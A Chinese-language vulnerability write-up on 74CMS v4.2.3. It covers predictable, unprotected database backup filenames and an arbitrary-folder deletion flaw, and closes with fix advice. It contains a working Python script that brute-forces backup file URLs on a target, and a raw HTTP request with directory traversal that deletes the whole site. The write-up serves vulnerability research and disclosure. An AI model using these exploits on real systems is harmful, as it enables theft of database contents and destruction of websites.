某CMS v4.2.3 测试笔记(敏感文件未授权下载与任意文件夹删除)
字数 1310 2025-08-29 08:31:41
74CMS v4.2.3 安全漏洞分析与利用指南
0x01 系统概述
74CMS v4.2.3 是一款存在多个安全漏洞的内容管理系统,本文档将详细分析其存在的敏感文件未授权下载和任意文件夹删除漏洞,并提供完整的测试与利用方法。
0x02 漏洞详情
2.1 敏感文件未授权下载漏洞
漏洞描述:
系统数据库备份文件名可预测且未做访问控制,导致攻击者可以猜测并下载数据库备份文件。
影响版本:
74CMS v4.2.3 及之前版本(测试确认4.2.111版本也受影响)
漏洞原理:
系统使用当前日期加数字作为备份文件名,如20190105_1_1.sql,命名规则简单可预测。
漏洞代码分析:
定位到文件/Application/Admin/Controller/DatabaseController.class.php:
protected function _make_backup_name(){
$backup_path = DATABASE_BACKUP_PATH;
$today = date('Ymd_', time());
// ...省略部分代码...
if ($today_backup) {
$today .= max($today_backup) + 1;
} else {
$today .= '1';
}
return $today;
}
利用方法:
使用以下Python脚本枚举可能的备份文件:
# -*- coding: utf-8 -*-
import requests
def getBak(time):
print("[running]:正在查询" + time + "是否存在备份")
dir = time + "_1"
filename = dir + "_1.sql"
url = target + "//data/backup/database/" + dir +"/"+ filename
session = requests.Session()
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0",
"Connection": "close", "Accept-Language": "en", "Accept-Encoding": "gzip, deflate"}
cookies = {"think_language": "en", "think_template": "default", "PHPSESSID": "6d86a34ec9125b2d08ebbb7630838682"}
response = session.get(url=url, headers=headers, cookies=cookies)
if response.status_code == 200:
print(url)
exit()
if __name__ == '__main__':
global target
target = "http://www.target.com"
for year in range(2017, 2020):
for mouth in range(1, 13):
for day in range(1, 31):
time = (str(year) + str('%02d' % mouth) + str('%02d' % day))
getBak(time)
2.2 任意文件夹删除漏洞
漏洞描述:
系统未对删除操作的参数进行严格过滤,导致攻击者可以删除服务器上任意目录。
影响版本:
74CMS v4.2.3 及之前版本(测试确认4.2.111版本也受影响)
漏洞代码分析:
定位到文件/Application/Admin/Controller/DatabaseController.class.php:
public function del(){
$name = I('request.name','','trim');
!$name && $this->error('请选择要删除的备份文件');
!is_array($name) && $name = array($name);
foreach ($name as $key => $val) {
rmdirs(DATABASE_BACKUP_PATH.$val,true);
}
$this->success('删除备份文件成功!');
}
利用方法:
发送以下HTTP请求可删除整站:
GET /index.php?m=admin&c=database&a=del&name=/../../../../../ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?m=admin&c=database&a=restore
Connection: close
Cookie: think_template=default; PHPSESSID=6d86a34ec9125b2d08ebbb7630838682; think_language=en
Upgrade-Insecure-Requests: 1
0x03 测试环境搭建
推荐环境:
- 操作系统:MacOS 10.14 或 Windows/Linux
- 服务器环境:MAMP Pro 或其他PHP环境
- 测试工具:
- BurpSuite
- FileMonitor(文件监控工具)
- Python 3.x(用于运行POC)
安装步骤:
- 从官网下载74CMS v4.2.3:http://www.74cms.com/download/index.html
- 解压到web目录
- 访问install.php完成安装
- 安装完成后,日志文件会从
/install/Runtime/Logs/Home/19_01_05.log移动到/install/Runtime/Logs/Home/1546677195-19_01_05.log
0x04 漏洞修复建议
-
敏感文件未授权下载修复:
- 修改备份文件命名规则,使用随机字符串而非日期
- 对备份目录添加访问控制
- 将备份文件存储在web目录之外
-
任意文件夹删除修复:
- 对name参数进行严格过滤,禁止目录遍历字符
- 限制删除操作只能在特定目录内进行
- 添加管理员权限验证
0x05 其他安全注意事项
- 系统配置信息存储在
data/Runtime/Data/config.php而非数据库中,存在潜在的安全风险 - 系统日志可能包含敏感信息,应定期清理或限制访问
- 建议升级到最新版本并应用所有安全补丁
0x06 总结
74CMS v4.2.3存在多个高危漏洞,攻击者可以利用这些漏洞:
- 下载数据库备份文件获取敏感信息
- 删除服务器上任意目录导致服务中断
- 结合其他漏洞可能实现完全控制服务器
建议所有使用该版本的用户立即采取修复措施或升级到最新安全版本。